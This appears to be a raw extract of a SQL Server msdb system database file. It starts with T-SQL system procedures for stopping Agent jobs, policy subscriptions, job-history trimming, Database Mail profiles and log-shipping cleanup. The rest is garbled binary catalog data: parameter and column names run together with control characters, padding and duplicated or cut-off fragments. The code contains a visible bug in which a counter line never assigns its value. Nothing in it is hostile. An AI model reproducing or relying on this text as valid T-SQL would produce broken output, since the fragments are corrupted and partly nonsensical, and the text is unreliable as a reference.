  SELECT @server_name        = UPPER(LTRIM(RTRIM(@server_name)))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@job_name           = N'') SELECT @job_name = NULL
  IF (@originating_server = N'') SELECT @originating_server = NULL
  IF (@server_name        = N'') SELECT @server_name = NULL

  -- We must have EITHER a job id OR a job name OR an originating server
  SELECT @num_parameters = 0
  IF (@job_id IS NOT NULL)
    SELECT @num_parameters = @num_parameters + 1
  IF (@job_name IS NOT NULL)
    SELECT @num_parameters = @num_parameters + 1
  IF (@originating_server IS NOT NULL)
    SELECT @num_parameters = @num_parameters + 1
  IF (@num_parameters <> 1)
  BEGIN
    RAISERROR(14232, -1, -1)
    RETURN(1) -- Failure
  END
  
  IF (@originating_server IS NOT NULL)
  BEGIN 
    -- Stop (cancel) ALL local jobs that originated from the specified server
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysjobs_view
                    WHERE (originating_server = @originating_server)))
    BEGIN
      RAISERROR(14268, -1, -1, @originating_server)
      RETURN(1) -- Failure
    END

    -- Check permissions beyond what's checked by the sysjobs_view
    -- SQLAgentReader role that can see all jobs but
    -- cannot start/stop jobs they do not own
    IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0)          -- is not sysadmin
       AND (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) = 0)) -- is not SQLAgentOperatorRole
    BEGIN
       RAISERROR(14393, -1, -1);
       RETURN(1) -- Failure
    END

    DECLARE @total_counter   INT
    DECLARE @success_counter INT

    DECLARE stop_jobs CURSOR LOCAL
    FOR
    SELECT job_id
    FROM msdb.dbo.sysjobs_view
    WHERE (originating_server = @originating_server)

    SELECT @total_counter = 0, @success_counter = 0
    OPEN stop_jobs
    FETCH NEXT FROM stop_jobs INTO @job_id
    WHILE (@@fetch_status = 0)
    BEGIN
      SELECT @total_counter + @total_counter + 1
      EXECUTE @retval = msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                                    @job_id      = @job_id,
                                                    @action_type = N'C'
      IF (@retval = 0)
        SELECT @success_counter = @success_counter + 1
      FETCH NEXT FROM stop_jobs INTO @job_id
    END
    RAISERROR(14253, 0, 1, @success_counter, @total_counter)
    DEALLOCATE stop_jobs

    RETURN(0) -- 0 means success
  END
  ELSE
  BEGIN
    -- Stop ONLY the specified job
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT,
                                                 @owner_sid = @job_owner_sid OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure

    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysjobservers
                    WHERE (job_id = @job_id)))
    BEGIN
      SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
      RAISERROR(14257, -1, -1, @job_name, @job_id_as_char)
      RETURN(1) -- Failure
    END
    
    -- Check permissions beyond what's checked by the sysjobs_view
    -- SQLAgentReader role that can see all jobs but
    -- cannot start/stop jobs they do not own
    IF (@job_owner_sid <> SUSER_SID()                  -- does not own the job
       AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0)       -- is not sysadmin
       AND (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) = 0)) -- is not SQLAgentOperatorRole
    BEGIN
     RAISERROR(14393, -1, -1);
     RETURN(1) -- Failure
    END

    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                  AND (server_id = 0)))
    BEGIN
      -- The job is local, so stop (cancel) the job locally
      EXECUTE @retval = msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                                    @job_id      = @job_id,
                                                    @action_type = N'C'
      IF (@retval = 0)
        RAISERROR(14254, 0, 1, @job_name)
    END
    ELSE
    BEGIN
      -- The job is a multi-server job

      -- Only sysadmin can stop multi-server job
      IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
      BEGIN
         RAISERROR(14397, -1, -1);
         RETURN(1) -- Failure
      END            

      -- Check target server name (if any)
      IF (@server_name IS NOT NULL)
      BEGIN
        IF (NOT EXISTS (SELECT *
                        FROM msdb.dbo.systargetservers
                        WHERE (UPPER(server_name) = @server_name)))
        BEGIN
          RAISERROR(14262, -1, -1, '@server_name', @server_name)
          RETURN(1) -- Failure
        END
      END

      -- Post the stop instruction(s)
      EXECUTE @retval = sp_post_msx_operation 'STOP', 'JOB', @job_id, @server_name
    END

    RETURN(@retval) -- 0 means success
  END

END
0OY T8CREATE PROCEDURE [dbo].[sp_syspolicy_add_policy_category_subscription] 
    @target_type sysname,
    @target_object sysname,
    @policy_category sysname,
    @policy_category_subscription_id int = NULL OUTPUT
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @retval int    

 IF(@target_type IS NOT NULL)
	BEGIN
		IF(@target_type <> 'DATABASE')
		BEGIN
			RAISERROR(34018,-1,-1,@target_type);
			RETURN(1)
		END
	END


 IF(NOT EXISTS(SELECT * FROM sys.databases WHERE name=@target_object))
	BEGIN
		RAISERROR(34019,-1,-1,@target_object);
		RETURN(1)
	END

    -- convert category_name into id if needed
    DECLARE @policy_category_id INT
    BEGIN TRANSACTION 
    IF ( (@policy_category IS NOT NULL AND @policy_category != '') )
    BEGIN 
        IF NOT EXISTS (SELECT * from syspolicy_policy_categories WHERE name = @policy_category)
        BEGIN
            INSERT INTO syspolicy_policy_categories_internal(name) VALUES (@policy_category)
            SELECT @policy_category_id = SCOPE_IDENTITY()
        END
        ELSE
            SELECT @policy_category_id = policy_category_id FROM syspolicy_policy_categories WHERE name = @policy_category
    END
    
    INSERT INTO msdb.[dbo].[syspolicy_policy_category_subscriptions_internal]
                                            (target_type, 
                                            target_object,
                                            policy_category_id)
        VALUES                            
                                            (@target_type, 
                                            @target_object, 
                                            @policy_category_id)

    SELECT @retval = @@error
    SET @policy_category_subscription_id = SCOPE_IDENTITY()

    COMMIT TRANSACTION
    RETURN(@retval)

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`g<_I80^ ^8CREATE VIEW systargetservers_view
AS
SELECT server_id,
       server_name,
       enlist_date,
       last_poll_date
FROM msdb.dbo.systargetservers
UNION
SELECT 0,
       CONVERT(sysname, SERVERPROPERTY('ServerName')),
       CONVERT(DATETIME, N'19981113', 112),
       CONVERT(DATETIME, N'19981113', 112)
0-~_ z8CREATE PROCEDURE sp_jobhistory_row_limiter
  @job_id UNIQUEIDENTIFIER
AS
BEGIN
  DECLARE @max_total_rows         INT -- This value comes from the registry (MaxJobHistoryTableRows)
  DECLARE @max_rows_per_job       INT -- This value comes from the registry (MaxJobHistoryRows)
  DECLARE @rows_to_delete         INT
  DECLARE @current_rows           INT
  DECLARE @current_rows_per_job   INT

  SET NOCOUNT ON

  -- Get max-job-history-rows from the registry
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobHistoryMaxRows',
                                         @max_total_rows OUTPUT,
                                         N'no_output'

  -- Check if we are limiting sysjobhistory rows
  IF (ISNULL(@max_total_rows, -1) = -1)
    RETURN(0)

  -- Check that max_total_rows is more than 1
  IF (ISNULL(@max_total_rows, 0) < 2)
  BEGIN
    -- It isn't, so set the default to 1000 rows
    SELECT @max_total_rows = 1000
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobHistoryMaxRows',
                                            N'REG_DWORD',
                                            @max_total_rows
  END

  -- Get the per-job maximum number of rows to keep
  SELECT @max_rows_per_job = 0
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobHistoryMaxRowsPerJob',
                                         @max_rows_per_job OUTPUT,
                                         N'no_output'

  -- Check that max_rows_per_job is <= max_total_rows
  IF ((@max_rows_per_job > @max_total_rows) OR (@max_rows_per_job < 1))
  BEGIN
    -- It isn't, so default the rows_per_job to max_total_rows
    SELECT @max_rows_per_job = @max_total_rows
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobHistoryMaxRowsPerJob',
                                            N'REG_DWORD',
                                            @max_rows_per_job
  END

  BEGIN TRANSACTION

  SELECT @current_rows_per_job = COUNT(*)
  FROM msdb.dbo.sysjobhistory with (TABLOCKX)
  WHERE (job_id = @job_id)

  -- Delete the oldest history row(s) for the job being inserted if the new row has
  -- pushed us over the per-job row limit (MaxJobHistoryRows)
  SELECT @rows_to_delete = @current_rows_per_job - @max_rows_per_job

  IF (@rows_to_delete > 0)
  BEGIN
    WITH RowsToDelete AS (
      SELECT TOP (@rows_to_delete) *
      FROM msdb.dbo.sysjobhistory
      WHERE (job_id = @job_id)
      ORDER BY instance_id
    )
    DELETE FROM RowsToDelete;
  END

  -- Delete the oldest history row(s) if inserting the new row has pushed us over the
  -- global MaxJobHistoryTableRows limit.
  SELECT @current_rows = COUNT(*)
  FROM msdb.dbo.sysjobhistory

  SELECT @rows_to_delete = @current_rows - @max_total_rows

  IF (@rows_to_delete > 0)
  BEGIN
    WITH RowsToDelete AS (
      SELECT TOP (@rows_to_delete) *
      FROM msdb.dbo.sysjobhistory
      ORDER BY instance_id
    )
    DELETE FROM RowsToDelete;
  END

  IF (@@trancount > 0)
    COMMIT TRANSACTION

  RETURN(0) -- Success
END
0#I_ 8
CREATE PROCEDURE dbo.sysmail_update_profile_sp
   @profile_id int = NULL, -- must provide either id or name
   @profile_name sysname = NULL,
   @description nvarchar(256) = NULL
AS
   SET NOCOUNT ON
  
   DECLARE @rc int
   DECLARE @profileid int
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 1, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)
   
   IF (@profile_name IS NOT NULL AND @description IS NOT NULL)
      UPDATE msdb.dbo.sysmail_profile 
      SET name=@profile_name, description = @description
      WHERE profile_id = @profileid
      
   ELSE IF (@profile_name IS NOT NULL)
      UPDATE msdb.dbo.sysmail_profile 
      SET name=@profile_name
      WHERE profile_id = @profileid

   ELSE IF (@description IS NOT NULL)
      UPDATE msdb.dbo.sysmail_profile 
      SET description = @description
      WHERE profile_id = @profileid
      
   ELSE
   BEGIN
      RAISERROR(14610, -1, -1)   
      RETURN(1)
   END

   RETURN(0)
0G=` 8

CREATE PROCEDURE [dbo].[sysmail_delete_profile_sp]
   @profile_id int = NULL, -- must provide either id or name
   @profile_name sysname = NULL,
   @force_delete BIT = 1
AS
   SET NOCOUNT ON
  
   DECLARE @rc int
   DECLARE @profileid int
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

IF(EXISTS (select * from sysmail_unsentitems WHERE 
   sysmail_unsentitems.profile_id = @profileid) AND @force_delete <> 1)
BEGIN
    IF(@profile_name IS NULL)
    BEGIN
        select @profile_name = name from dbo.sysmail_profile WHERE profile_id = @profileid
    END
    RAISERROR(14668, -1, -1, @profile_name)
    RETURN (1)   
END

UPDATE [msdb].[dbo].[sysmail_mailitems]
SET [sent_status] = 2, [sent_date] = getdate()
WHERE profile_id = @profileid AND sent_status <> 1
     
   DELETE FROM msdb.dbo.sysmail_profile 
   WHERE profile_id = @profileid
   RETURN(0)
0X_ 8CREATE PROCEDURE sp_delete_log_shipping_monitor_jobs AS
BEGIN
  DECLARE @backup_job_name sysname
  SET NOCOUNT ON
  SET @backup_job_name = N'Log Shipping Alert Job - Backup'
  IF (EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @backup_job_name))
    EXECUTE msdb.dbo.sp_delete_job @job_name = N'Log Shipping Alert Job - Backup'

  DECLARE @restore_job_name sysname
  SET @restore_job_name = 'Log Shipping Alert Job - Restore'
  IF (EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @restore_job_name))
    EXECUTE msdb.dbo.sp_delete_job @job_name = N'Log Shipping Alert Job - Restore'
END
0=`@ 8CREATE PROCEDURE sp_delete_log_shipping_primary 
  @primary_server_name sysname,
  @primary_database_name sysname,
  @delete_secondaries BIT = 0
AS BEGIN
  DECLARE @primary_id INT

  SET NOCOUNT ON

  SELECT @primary_id = primary_id 
    FROM msdb.dbo.log_shipping_primaries 
    WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name
  IF (@primary_id IS NULL)
    RETURN (0)

  BEGIN TRANSACTION
  IF (EXISTS (SELECT * FROM msdb.dbo.log_shipping_secondaries WHERE primary_id = @primary_id))
  BEGIN
    IF (@delete_secondaries = 0)
    BEGIN
      RAISERROR (14429,-1,-1)
      goto rollback_quit
    END
    DELETE FROM msdb.dbo.log_shipping_secondaries WHERE primary_id = @primary_id
    IF (@@ERROR <> 0)
      GOTO rollback_quit
  END
  DELETE FROM msdb.dbo.log_shipping_primaries WHERE primary_id = @primary_id
  IF (@@ERROR <> 0)
    GOTO rollback_quit

  COMMIT TRANSACTION
  DECLARE @i INT
  SELECT @i = COUNT(*) FROM msdb.dbo.log_shipping_primaries
  IF (@i=0)
    EXECUTE msdb.dbo.sp_delete_log_shipping_monitor_jobs
  RETURN (0)

rollback_quit:
  ROLLBACK TRANSACTION
  RETURN(1) -- error
END
0i_ %8(N'')!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!K89`)`M5Dx96)?Kflags6)?Kjob_id6)?K,last_run_date6)?K4last_run_duration6)?K2last_run_outcome6)?K2last_run_retries6)?K,last_run_time6)?K.on_fail_action6)?K0on_fail_step_id6)?K	4on_success_action6)?K
6on_success_step_id6)?K0os_run_priority6)?K2output_file_name6)?K"proxy_id6)?K.retry_attempts6)?K.retry_interval6)?K
server6)?K step_id6)?K$step_name6)?K"step_uid6)?K$subsystem68YkL:@include_description68YkL @job_id68YkL$@job_name68YkL*@schedule_id68YkL.@schedule_name6bcL*date_created6bcL,date_modified6bcLlog6bcLlog_id6bcL"log_size6bcL"step_uid6q}_M*@category_id6q}_M.@category_name6q}_M,@delete_level6q}_M"@enabled6q}_M @job_id6q}_M@name6q}_MD@notify_email_operator_id6q}_MH@notify_email_operator_name6q}_M8@notify_level_email6q}_M>@notify_level_eventlog6q}_M	<@notify_level_netsend6q}_M
6@notify_level_page6q}_MH@notify_netsend_operator_id6q}_ML@notify_netsend_operator_name6q}_M
F@notify_page_operator_name6q}_M&@owner_sid6q}_M.@start_step_id6q}_MB@notify_page_operator_id6q}_M8@originating_server6SN$@job_name6SN"@enabled6SN*@description6SN.@start_step_id6SN.@category_name6SN*@category_id6SN4@owner_login_name6SN>@notify_level_eventlog6SN	8@notify_level_email6SN
<@notify_level_netsend6SN6@notify_level_page6SNH@notify_email_operator_name6SN
L@notify_netsend_operator_name6SNF@notify_page_operator_name6SN,@delete_level6SN @job_id6SN8@originating_server6GO @job_id6GO$@job_name6GO$@new_name6GO"@enabled6GO*@description6GO.@category_name6GO	>@notify_level_eventlog6GO
8@notify_level_email6GO<@notify_level_netsend6GO6@notify_level_page6GO
H@notify_email_operator_name6GO,@delete_level6GO0@automatic_post6VM6restore_history_id6VM(file_number6VM>destination_phys_drive6VM<destination_phys_name6:K @log_id6:K"@message6^L @log_id6^L&@task_name6^L,@row_count_in6^L.@row_count_out6^L2@row_count_error6^L6@execution_time_ms,M6,M @log_id6eN @log_id6eN:@from_collection_set6eNlog_id6eN,parent_log_id6eN4collection_set_id6eN&start_time6eN8last_iteration_time6eN(finish_time6eN"duration6eN>runtime_execution_mode6eN	"operator6eN
status6eN&package_id6eN:package_execution_id6eN
0failure_message6eNdepth6TL.@target_set_id6TL"@enabled6yM.@target_set_id6;sN.@target_set_id6;sN.@type_skeleton6;sN,@condition_id6;sN0@condition_name6;sN(@level_name6;sN:@target_set_level_id6JVL2@network_account6JVL>@agent_service_account6nJM2configuration_id6nJM4ucp_instance_name6nJM4mdw_database_name6J2O4ucp_instance_name6J2O4mdw_database_name6J2O<upload_schema_version6dM"dac_name6dMBdac_server_instance_name6dM fg_name6dM8over_utilized_count6dM:under_utilized_count6dM$file_type6dM&set_number6dM0processing_timereated6U0Q
8@date_last_modified6U0Q*@description6U0Q*@schedule_id62$R @job_id62$R$@job_name62$R(@job_aspect62$R$@job_type62$R4@owner_login_name62$R&@subsystem62$R.@category_name62$R"@enabled62$R	4@execution_status62$R
2@date_comparator62$R,@date_created62$R8@date_last_modified62$R
*@description6VS.@schedule_name6VS*@schedule_id6{T.@schedule_name6{T*@schedule_id69U @action69UD@current_owner_login_name69U<@new_owner_login_name6rU @job_id6rU$@job_name6rU<@target_server_groups6rU0@target_servers6rU&@operation6V @job_id6V$@job_name6V<@target_server_groups6V0@target_servers6VM6restore_history_id6VMF
2

V
x

,`,,$j

:P\0	t
$Z

~			j
J
\~F	j	d&bF&^X vH^<VX4 T4pP2R^,|`)4aI3{26Ha:notification_message6Ha2occurrence_count6Ha<performance_condition6Ha"severity6WZb(@local_time6WZb.@poll_interval6WZb*@server_name6WZb<@time_zone_adjustment6b$cntr_type6b&cntr_value6b*counter_name6b,instance_name6b(object_name6b(server_name6Nc>@adjustment_in_minutes6Nc*@server_name6ȃc(category_id6ȃc,email_address6ȃc enabled6ȃcid6ȃc0last_email_date6ȃc0last_email_time6ȃc4last_netsend_date6ȃc4last_netsend_time6ȃc0last_pager_date6ȃc	0last_pager_time6ȃcname6ȃc0netsend_address6ȃc,pager_address6ȃc&pager_days6ȃc
@saturday_pager_end_time6ȃcDsaturday_pager_start_time6ȃc<sunday_pager_end_time6ȃc@sunday_pager_start_time6ȃc>weekday_pager_end_time6ȃc
Bweekday_pager_start_time6Bd @job_id6Bd$@job_name6wd"alert_id6wd8notification_method6wd(operator_id6,lejob_id67e.@target_server6-%b$@username6-%b$@password6-%b.@credential_id6fc2@credential_name6fc$@username6fc$@password6
d2@credential_name6e,@account_name6e.@email_address6e,@display_name6e2@replyto_address6e*@description6e2@mailserver_name6e2@mailserver_type6e@port6e	$@username6e
$@password6eB@use_default_credentials6e(@enable_ssl6e
(@account_id6a,@last_updated6a,@compare_with6a&@threshold6a6@outage_start_time6a2@outage_end_time6a:@outage_weekday_mask6a"@enabled6a@delta6<b"@db_name6<b$@filename6<b&@file_date6uc:@primary_server_name6uc>@primary_database_name6uc>@secondary_server_name6ucB@secondary_database_name6d:@primary_server_name6d>@primary_database_name6d>@secondary_server_name6dB@secondary_database_name6d4@backup_threshold6d@@backup_threshold_alert6dP@backup_threshold_alert_enabled6dD@backup_outage_start_time6d	@@backup_outage_end_time6d
H@backup_outage_weekday_mask6d,@copy_enabled6d,@load_enabled6d
>@out_of_sync_threshold6dJ@out_of_sync_threshold_alert6dZ@out_of_sync_threshold_alert_enabled6dN@out_of_sync_outage_start_time6dJ@out_of_sync_outage_end_time6dR@out_of_sync_outage_weekday_mask6b8@collection_set_uid6b8@collection_item_id6b>@collection_package_id6b6@upload_package_id6Kģc8@collection_set_uid6Kģc8@collection_item_id6Kģc>@collection_package_id6Kģc6@upload_package_id6KģcB@collection_package_name6Kģc:@upload_package_name6Eb.num_processors6Eb"cpu_name6Eb(cpu_caption6Eb,cpu_family_id6Eb8cpu_architecture_id6Eb8cpu_max_clock_speed6Eb0cpu_clock_speed6Eb,l2_cache_size6Eb	,l3_cache_size6Eb
Zinstance_processor_usage_start_ticks6EbTinstance_collect_time_start_ticks6EbXcomputer_processor_idle_start_ticks6Eb
Tcomputer_collect_time_start_ticks6EbVinstance_processor_usage_end_ticks6EbPinstance_collect_time_end_ticks6EbTcomputer_processor_idle_end_ticks6EbPcomputer_collect_time_end_ticks6Eb:server_instance_name6Eb8virtual_server_name6Eb:physical_server_name6EbXinstance_processor_usage_percentage6EbXcomputer_processor_usage_percentage4@backup_threshold6d@@backup_threshold_alert6dP@backup_threshold_alert_enabled6dD@backup_outage_start_time6d	@@backup_outage_end_time6d
H@backup_outage_weekday_mask6d,@copy_enabled6d,@load_enabled6d
>@out_of_sync_threshold6dJ@out_of_sync_threshold_alert6dZ@out_of_sync_threshold_alert_enabled6dN@out_of_sync_outage_start_time6dJ@out_of_sync_outage_end_time6dR@out_of_sync_outage_weekday_mask6e:@primary_server_name6b8@collection_set_uid6b8

	

T
"
,l			@	T@z^ Pl8@rP,	

H

~@Lf:
\(f>"
\$Z0
R*p0t&&|^Dtz Bfb0|`ed)XbE<ҵ6Mm(@pager_days6MmF@saturday_pager_start_time6Mm@@weekday_pager_end_time6MmD@weekday_pager_start_time-Wn6-Wn,@principal_id6f{n(@login_name6f{n&@role_name6o*@category_id6o.@category_name6o<@name_of_id_parameter6o@@name_of_name_parameterp6p@date6MmB@saturday_pager_end_time6MmB@sunday_pager_start_time6Mm	>@sunday_pager_end_time6<qn@name6<qn"@enabled6<qn.@email_address6<qn.@pager_address6<qnD@weekday_pager_start_time6<qn@@weekday_pager_end_time6<qnF@saturday_pager_start_time6<qnB@saturday_pager_end_time6<qn	B@sunday_pager_start_time6<qn
>@sunday_pager_end_time6<qn(@pager_days6<qn2@netsend_address6<qn
.@category_name6uo@name6uo$@new_name6uo"@enabled6uo.@email_address6uo.@pager_address6uoD@weekday_pager_start_time6uo@@weekday_pager_end_time6uoF@saturday_pager_start_time6uo	B@saturday_pager_end_time6uo
B@sunday_pager_start_time6uo>@sunday_pager_end_time6uo(@pager_days6uo
2@netsend_address6uo.@category_name6p.@operator_name6p*@operator_id6gn0@parameter_name6Ko0@parameter_name6Ko2@parameter_value6sp,@principal_id6sp0@principal_name6sp(@profile_id6sp,@profile_name6sp(@is_default6!Joname6!Joid6!Jo(description6!Jo(create_date6!Joowner6!Jo,version_major6!Jo,version_minor6!Jo,version_build6!Jo	2version_comments6!Jo
"from_msx6!Jo(has_targets6Z>p"folderid6Z>p.parentfolderid6Z>p&foldername6R!n0server_group_id6R!nname6R!n(description6R!n(server_type6R!n$parent_id6R!n2is_system_object6R!nDnum_server_group_children6R!nNnum_registered_server_children6vo$server_id6vo0server_group_id6voname6vo(server_name6vo(description6vo(server_type60	p*@server_type6Hm(@history_id6Hm @result6Hm6@exception_message6Hm&@exception6ln(@history_id6lnB@target_query_expression6lnR@target_query_expression_with_id6ln @result6ln.@result_detail6ln6@exception_message6ln&@exception6o&@policy_id6o*@oldest_date6?p@type6?p@name6?p&@object_id6?p @markerrameter_name6Ko2@parameter_value6sp,@principal_id6sp0@principal_name6sp(@profile_id6sp,@profile_name6sp(@is_default6gq,@principal_id6gq0@principal_name6gq(@profile_id6gq,@profile_name6gq(@is_default6[r,@principal_id6[r0@principal_name6[r(@profile_id6[r,@profile_name6/Ps,@principal_id6/Ps0@principal_name6/Ps(@profile_id6/Ps,@profile_name6h@Dt(@event_type6h@Dt*@description6h@Dt(@process_id6h@Dt*@mailitem_id6h@Dt(@account_id6!Joname6!Joid6!Jo(description6!Jo(create_date6!Joowner6!Jo,version_major6!Jo,version_minor6!Jo,version_build6!Jo	2version_comments6!Jo
"from_msx6!Jo(has_targets6Z>p"folderid6Z>p.parentfolderid6Z>p&foldername6sid6sevent6s"computer6s"operator6ssource6s"sourceid6s(executionid6s$starttime6s	 endtime6s
"datacode6s$databytes6s message6wZu@event6wZu$@computer6wZu$@operator6wZu @source6wZu$@sourceid6wZu*@executionid6wZu&@starttime6wZu"@endtime6wZu	$@datacode6wZu
&@databytes6wZu"@message6~u$@folderid6R!n0server_group_id6R!nname6R!n(description6R!n(server_type6R!n$parent_id6R!n2is_system_object6R!nDnum_server_group_children6R!nNnum_registered_server_children6vo$server_id6vo0server_group_id6voname6vo(server_name6vo(description6vo(server_type60	p*@server_type6ip@name6ip*@description6Hm(@history_id6Hm @result6Hm6@exception_message6Hm&@exce8	H	
`
0


xVn2JTdH		x\

P.4.pL$.d4x@r	`


"

8
`R\`;Y)cU;Av6n3	*@date_posted6n3&@has_error6n3 @job_id6n3$@job_name6n3*@object_name6n3*@object_type6n3&@operation6n3 @status6n3.@target_server63"proxy_id63*subsystem_id6ϓ4J@syssubsytems_refresh_needed64flags64"proxy_id64sid6}^4(mailitem_id6}^4&profile_id6}^4&recipients6}^40copy_recipients6}^4<blind_copy_recipients6}^4 subject6}^4body6}^4(body_format6}^4	&importance6}^4
(sensitivity6}^42file_attachments6}^48attachment_encoding6}^4
query6}^4>execute_query_database6}^4Hattach_query_result_as_file6}^48query_result_header6}^46query_result_width6}^4>query_result_separator6}^4:exclude_query_output6}^46append_query_error6}^44send_request_date6}^44send_request_user6}^40sent_account_id6}^4(sent_status6}^4$sent_date6}^4,last_mod_date6}^4,last_mod_user6R5(mailitem_id6R5&profile_id6R5&recipients6R50copy_recipients6R5<blind_copy_recipients6R5 subject6R5body6R5(body_format6R5	&importance6R5
(sensitivity6R52file_attachments6R58attachment_encoding6R5
query6R5>execute_query_database6R5Hattach_query_result_as_file6R58query_result_header6R56query_result_width6R5>query_result_separator6R5:exclude_query_output6R56append_query_error6R54send_request_date6R54send_request_user6R50sent_account_id6R5(sent_status6R5$sent_date6R5,last_mod_date6R5,last_mod_user6
G60copy_recipients6
G6<blind_copy_recipients6
G6body6
G6(body_format6
G6	&importance6
G62file_attachments6
G68attachment_encoding6
G6>execute_query_database6
G6Hattach_query_result_as_file6
G6:exclude_query_output6
G66append_query_error6
G6,last_mod_date6
G6,last_mod_user65"@db_name66&@plan_name66"@plan_id6)36@collection_set_id6)3@name6b46@collection_set_id6b4@name6b4:@stop_collection_job656@collection_set_id65(@is_running65>@is_collection_running65<@collection_job_state656@is_upload_running654@upload_job_state63$policy_id63name63*condition_id634root_condition_id63*date_created63.execution_mode636policy_category_id63*schedule_uid63	(description63
$help_text63$help_link63,object_set_id63
&is_enabled63job_id63&created_by63(modified_by63,date_modified63$is_system6Gr50processing_time6Gr52aggregation_type6Gr5(object_type6Gr58virtual_server_name6Gr5:server_instance_name6Gr52volume_device_id6Gr5,database_name6Gr5.filegroup_name6Gr5	(dbfile_name6Gr5
2used_space_bytes6Gr5<allocated_space_bytes6Gr54total_space_bytes6Gr5
<available_space_bytes6I4:server_instance_name6I4,database_name6I4.filegroup_name6I4Name6I4(volume_name6I42volume_device_id6I44databasefile_name6I48current_utilization6I4	&used_space6I4
0available_space6I44under_utilization6I42over_utilization6I4
$file_type6I4(growth_type6=5:server_instance_name6=5"dac_name6=5.filegroup_name6=5Name6=5(volume_name6=52volume_device_id6=54databasefile_name6=58current_utilization6=5	&used_space6=5
0available_space6=54under_utilization6=52over_utilization6=5
$file_type6=5(growth_type6V16:physical_server_name6V16:server_instance_name6V16(volume_name6V162volume_device_id6V168current_utilization6V16&used_space6V160available_space6V164under_utilization6V16	2over_utilization64&primary_id642secondary_server646secondary_database6,5&primary_id6,5.primary_server36@co>
d

T

hP. >djDr<dt(:xZ|	Tp

8
	d8,		
@^		&NBv*nR `|DpD8Lj*zZl6@BjT"Fl(BnH`)dUf69&run_status69
"run_time69server69.sql_message_id69*sql_severity69 step_id69$step_name6L:0@automatic_post6L:@@delete_unused_schedule6L: @job_id6L:$@job_name6L:*@schedule_id6L:.@schedule_name6':,master_server6':6originating_server6':<originating_server_id66@; @job_id66@;.@new_freq_type66@;.@old_freq_type6o4<2@active_end_date6o4<2@active_end_time6o4<6@active_start_date6o4<
6@active_start_time6o4<0@automatic_post6o4<"@enabled6o4<.@freq_interval6o4<
@@freq_recurrence_factor6o4<	@@freq_relative_interval6o4<<@freq_subday_interval6o4<4@freq_subday_type6o4<&@freq_type6o4<@name6o4<$@new_name6o4<4@owner_login_name6o4<*@schedule_id6E;,attachment_id6E;(mailitem_id6E;"filename6E;"filesize6E;&attachment6E;,last_mod_date6E;,last_mod_user6~<8conversation_handle6~<(mailitem_id6~<,send_attempts6~<>last_send_attempt_date69"@plan_id69 @job_id6:"@plan_id6: @job_id6;"@plan_id6T<*media_set_id6T<&media_uuid6T<6media_family_count6T<name6T<(description6T<,software_name6T<6software_vendor_id6T<4MTF_major_version6T<	*mirror_count6T<
<is_password_protected6T<,is_compressed696@collection_set_id6:6@collection_set_id6ҕ;log_id6ҕ;,parent_log_id6ҕ;4collection_set_id6ҕ;6collection_item_id6ҕ;&start_time6ҕ;8last_iteration_time6ҕ;(finish_time6ҕ;>runtime_execution_mode6ҕ;	status6ҕ;
"operator6ҕ;&package_id6ҕ;:package_execution_id6ҕ;
0failure_message6l:@name6l:8@policy_category_id6l:$@new_name6`;@name6`;8@policy_category_id6`;P@mandate_database_subscriptions6T<@name6T<,@condition_id6T<0@condition_name6T<,@schedule_uid6T<2@policy_category6T<*@description6T<&@help_text6T<&@help_link6T<	0@execution_mode6T<
(@is_enabled6T<6@root_condition_id6T<:@root_condition_name6T<
